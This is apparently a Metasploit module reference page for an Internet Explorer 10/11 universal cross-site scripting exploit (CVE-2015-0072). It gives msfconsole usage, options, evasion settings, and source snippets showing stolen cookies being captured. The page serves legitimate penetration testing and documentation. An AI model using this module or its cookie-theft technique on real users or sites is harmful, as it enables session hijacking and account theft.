MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection - Metasploit
This page contains detailed information about how to use the auxiliary/gather/ie_uxss_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection
Module: auxiliary/gather/ie_uxss_injection
Source code: modules/auxiliary/gather/ie_uxss_injection.rb
Disclosure date: 2015-02-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-0072
This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot have X-Frame-Options or it will fail). You can also have your own custom JavaScript by setting the CUSTOMJS option. Lastly, you might need to configure the URIHOST option if you are behind NAT.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/ie_uxss_injection
msf auxiliary(ie_uxss_injection) > exploit
Required Options
- TARGET_URI: The URL for the target iframe
Go back to menu.
Msfconsole Usage
Here is how the gather/ie_uxss_injection auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/ie_uxss_injection
msf6 auxiliary(gather/ie_uxss_injection) > show info
Name: MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection
Module: auxiliary/gather/ie_uxss_injection
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-02-01
Provided by:
David Leo
filedescriptor
joev <[email protected]>
sinn3r <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOMJS no Custom JavaScript
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGET_URI yes The URL for the target iframe
URIPATH no The URI to use for this exploit (default is random)
Description:
This module exploits a universal cross-site scripting (UXSS)
vulnerability found in Internet Explorer 10 and 11. By default, you
will steal the cookie from TARGET_URI (which cannot have
X-Frame-Options or it will fail). You can also have your own custom
JavaScript by setting the CUSTOMJS option. Lastly, you might need to
configure the URIHOST option if you are behind NAT.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-0072
OSVDB (117876)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2015/MS15-018
http://innerht.ml/blog/ie-uxss.html
https://seclists.org/fulldisclosure/2015/Feb/10
Module Options
This is a complete list of options available in the gather/ie_uxss_injection auxiliary module:
msf6 auxiliary(gather/ie_uxss_injection) > show options
Module options (auxiliary/gather/ie_uxss_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOMJS no Custom JavaScript
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGET_URI yes The URL for the target iframe
URIPATH no The URI to use for this exploit (default is random)
Advanced Options
Here is a complete list of advanced options supported by the gather/ie_uxss_injection auxiliary module:
msf6 auxiliary(gather/ie_uxss_injection) > show advanced
Module advanced options (auxiliary/gather/ie_uxss_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/ie_uxss_injection module can do:
msf6 auxiliary(gather/ie_uxss_injection) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/ie_uxss_injection auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/ie_uxss_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
TARGET_URI
Here is a relevant code snippet related to the "TARGET_URI" error message:
43: ])
44: end
45:
46: def setup
47: if target_uri !~ /^http/i
48: raise Msf::OptionValidateError.new(['TARGET_URI'])
49: end
50:
51: super
52: end
53:
The XSS worked, but no cookie
Here is a relevant code snippet related to the "The XSS worked, but no cookie" error message:
130: sleep(3)
131: send_response(cli, '')
132: when /#{ninja_cookie_stealer_name}/
133: data = extract_cookie(request.uri)
134: if data.blank?
135: print_status("The XSS worked, but no cookie")
136: else
137: print_status("Got cookie")
138: print_line(data)
139: report_note(
140: :host => cli.peerhost,
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7577 Merged Pull Request: Fix #7455, handle the URIPORT option properly in is_uxss_injection
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #4919 Merged Pull Request: Update ie_uxss_injection.rb MSB reference
- #4762 Merged Pull Request: Add CVE reference for ie_uxss_injection
- #4710 Merged Pull Request: Add UXSS module for Internet Explorer 10 & 11
References
- CVE-2015-0072
- OSVDB (117876)
- MS15-018
- http://innerht.ml/blog/ie-uxss.html
- https://seclists.org/fulldisclosure/2015/Feb/10
See Also
Check also the following modules related to this module:
- auxiliary/gather/ie_sandbox_findfiles
- exploit/windows/browser/ie_cbutton_uaf
- exploit/windows/browser/ie_cgenericelement_uaf
- exploit/windows/browser/ie_createobject
- exploit/windows/browser/ie_execcommand_uaf
- exploit/windows/browser/ie_iscomponentinstalled
- exploit/windows/browser/ie_setmousecapture_uaf
- exploit/windows/browser/ie_unsafe_scripting
- post/windows/manage/ie_proxypac
- auxiliary/gather/alienvault_iso27001_sqli
- auxiliary/gather/alienvault_newpolicyform_sqli
- auxiliary/gather/android_browser_new_tab_cookie_theft
- auxiliary/gather/android_object_tag_webview_uxss
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/f5_bigip_cookie_disclosure
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/scanner/http/error_sql_injection
- auxiliary/scanner/http/host_header_injection
- auxiliary/scanner/http/wordpress_content_injection
- auxiliary/scanner/postgres/postgres_dbname_flag_injection
- auxiliary/gather/android_stock_browser_uxss
- auxiliary/gather/apple_safari_webarchive_uxss
- auxiliary/admin/android/google_play_store_uxss_xframe_rce
Authors
- David Leo
- filedescriptor
- joev
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.